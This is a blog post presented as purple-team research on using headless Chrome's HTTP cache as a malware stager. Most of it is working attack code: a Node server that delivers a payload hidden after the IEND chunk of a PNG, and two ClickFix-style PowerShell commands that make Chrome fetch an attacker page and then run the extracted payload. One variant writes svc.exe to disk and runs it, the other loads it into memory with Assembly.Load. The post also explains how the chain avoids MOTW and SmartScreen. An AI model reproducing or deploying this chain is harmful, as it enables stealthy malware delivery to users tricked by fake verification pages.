cd ../

malware development - using chrome as a stager

2026-10-27Hudson Agustin
Malware Development

tldr

user hits a fake verification page. pastes a command. headless chrome visits an attacker page, caching a stego png on disk. the embedded payload is extracted and executed.

no files downloaded. no irm | iex. the payload was delivered through chrome's http cache.

we built two variants: one that carves the payload to disk, and one that never touches the filesystem. detections for both are in part 3.

this is purple team research.

the cache

%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cache\Cache_Data\

Cache_Data/ data_0 .. data_3 shared block files (< 16KB) f_000001 standalone cached resource f_000002 index

resources over ~16kb get their own f_ file. these are raw http response bodies on disk.

Cache-Control: public, max-age=31536000, immutable tells chrome to hold it for a year. headless chrome uses the same net::HttpCache as regular chrome. curl and Invoke-WebRequest do not populate it.

one gotcha: chrome locks the default profile while running. headless chrome silently fails to cache against a locked profile. --user-data-dir with a temp path sidesteps this.

the stego image

png is chunk based. every parser stops at IEND. anything appended after it is invisible.

stego png binary layout

random pixel data is incompressible, producing a ~197kb png that clears the 16kb f_ threshold. the payload is appended after IEND with a marker and length prefix. total size: ~246kb. opens normally in any viewer.

the server

javascript
1const server = createServer((req, res) => {
2  if (req.url === "/img.png") {
3    res.writeHead(200, {
4      "Content-Type": "image/png",
5      "Cache-Control": "public, max-age=31536000, immutable",
6    });
7    return res.end(stegoImage);
8  }
9
10  res.writeHead(200, { "Content-Type": "text/html" });
11  res.end(`<html><body>
12    <img src="/img.png" style="display:none">
13    <p>Verifying your browser...</p>
14  </body></html>`);
15});

the image loads via <img> with display: none. chrome caches the response body as an f_ file.

variant 1: cache carve

powershell scans the cache, finds the marker, carves the payload, writes to disk, runs it.

clickfix

powershell
1powershell -w 1 -c "
2  Start-Process 'chrome' -ArgumentList `
3    '--headless=new','--disable-gpu','--no-first-run', `
4    '--user-data-dir=$env:TEMP\diag','--dump-dom', `
5    'https://verify.example[.]com/check' -Wait;
6
7  $M = [byte[]]@(0xDE,0xAD,0xBE,0xEF,0xCA,0xFE,0xBA,0xBE);
8  ls $env:TEMP\diag\Default\Cache\Cache_Data\f_* | %{
9    $B = [IO.File]::ReadAllBytes($_.FullName);
10    for ($i = 0; $i -lt $B.Length - 12; $i++) {
11      $h = $true;
12      for ($j = 0; $j -lt 8; $j++) {
13        if ($B[$i+$j] -ne $M[$j]) { $h = $false; break }
14      };
15      if ($h) {
16        $L = [BitConverter]::ToUInt32($B[($i+11)..($i+8)], 0);
17        [IO.File]::WriteAllBytes(
18          \"$env:TEMP\diag\svc.exe\",
19          $B[($i+12)..($i+11+$L)]
20        );
21        Start-Process \"$env:TEMP\diag\svc.exe\";
22        break
23      }
24    }
25  }
26"

the chain

variant 1 cache carve chain

extraction (readable)

powershell
1$MARKER = [byte[]]@(0xDE,0xAD,0xBE,0xEF,0xCA,0xFE,0xBA,0xBE)
2$CACHE  = "$env:TEMP\diag\Default\Cache\Cache_Data"
3
4Get-ChildItem "$CACHE\f_*" | ForEach-Object {
5    $bytes = [IO.File]::ReadAllBytes($_.FullName)
6
7    for ($i = 0; $i -lt $bytes.Length - 12; $i++) {
8        $match = $true
9        for ($j = 0; $j -lt 8; $j++) {
10            if ($bytes[$i + $j] -ne $MARKER[$j]) {
11                $match = $false; break
12            }
13        }
14        if (-not $match) { continue }
15
16        $len = [BitConverter]::ToUInt32($bytes[($i+11)..($i+8)], 0)
17        $payload = $bytes[($i+12)..($i+11+$len)]
18        [IO.File]::WriteAllBytes("$env:TEMP\diag\svc.exe", $payload)
19        Start-Process "$env:TEMP\diag\svc.exe"
20        return
21    }
22}

this works. but powershell touching cache files and writing executables to temp is loud. five detection opportunities (covered in part 3). so we made it quieter.

variant 2: dump-dom (fileless)

the key insight: chrome is the only process that can read its own cache through the fetch api. so instead of powershell scanning raw cache files, let the attacker page do the extraction in javascript. --dump-dom pipes the result back to powershell as text. powershell decodes and executes in memory.

the attacker page

html
1<html><body>
2<img src="/img.png" style="display:none">
3<script>
4window.addEventListener('load', async () => {
5  const res = await fetch('/img.png', { cache: 'force-cache' });
6  const buf = new Uint8Array(await res.arrayBuffer());
7  const marker = [0xDE,0xAD,0xBE,0xEF,0xCA,0xFE,0xBA,0xBE];
8
9  for (let i = 0; i < buf.length - 12; i++) {
10    if (marker.every((b, j) => buf[i + j] === b)) {
11      const len = new DataView(buf.buffer).getUint32(i + 8);
12      const payload = buf.slice(i + 12, i + 12 + len);
13      const b64 = btoa(String.fromCharCode(...payload));
14      document.body.textContent = 'DATA:' + b64;
15      break;
16    }
17  }
18});
19</script>
20</body></html>

the page loads the stego png (gets cached). javascript fetches it back from cache, extracts the payload, base64 encodes it, writes it into the dom. --dump-dom captures everything to stdout.

clickfix

powershell
1powershell -w 1 -c "
2  $d = & chrome --headless=new --disable-gpu `
3    --no-first-run --user-data-dir=$env:TEMP\diag `
4    --dump-dom 'https://verify.example[.]com/check' 2>$null;
5
6  if ($d -match 'DATA:([A-Za-z0-9+/=]+)') {
7    [Reflection.Assembly]::Load(
8      [Convert]::FromBase64String($Matches[1])
9    ).EntryPoint.Invoke($null, @(,@()))
10  }
11"

the chain

variant 2 dump-dom fileless chain

the .net payload

csharp
1using System.Diagnostics;
2class C { static void Main() { Process.Start("calc.exe"); } }

compiled with csc /target:exe /out:payload.exe /platform:anycpu payload.cs, embedded in the stego png. loaded into memory via Assembly.Load. never written to disk.

what changed

variant 1variant 2
who reads the cachepowershellchrome (its own cache)
extraction runs inpowershell (byte scan)javascript (fetch api)
payload deliveryf_ file → disk → executestdout → memory → Assembly.Load
files written to disksvc.exe in %TEMP%none
detection opportunities51

the only remaining signal is headless chrome with a temp user data dir. puppeteer, playwright, and ci pipelines do exactly the same thing.

the cache as a write primitive

chrome's http cache is effectively a write primitive to disk with no user interaction. the response body lands as raw bytes in an f_ file. no download prompt, no smartscreen, no mark of the web.

normally when chrome downloads an executable:

  • safe browsing checks
  • MOTW (Zone.Identifier ADS) marking it as internet sourced
  • download bar and warning ui

a cached f_ file gets none of that. the security model assumes cached resources stay within the browser's control, but they are regular files on the filesystem readable by any process.

not a vulnerability in the traditional sense. but a design gap that both variants exploit.

next

part 2: replacing calc.exe with a chrome extension that pulls commands from a second cached stego image using fetch() with {cache: "force-cache"}. persistence that survives browser restarts and keeps working after the server goes down.

part 3: sigma rules and detection engineering for both variants.

poc code available on request for security teams writing detections.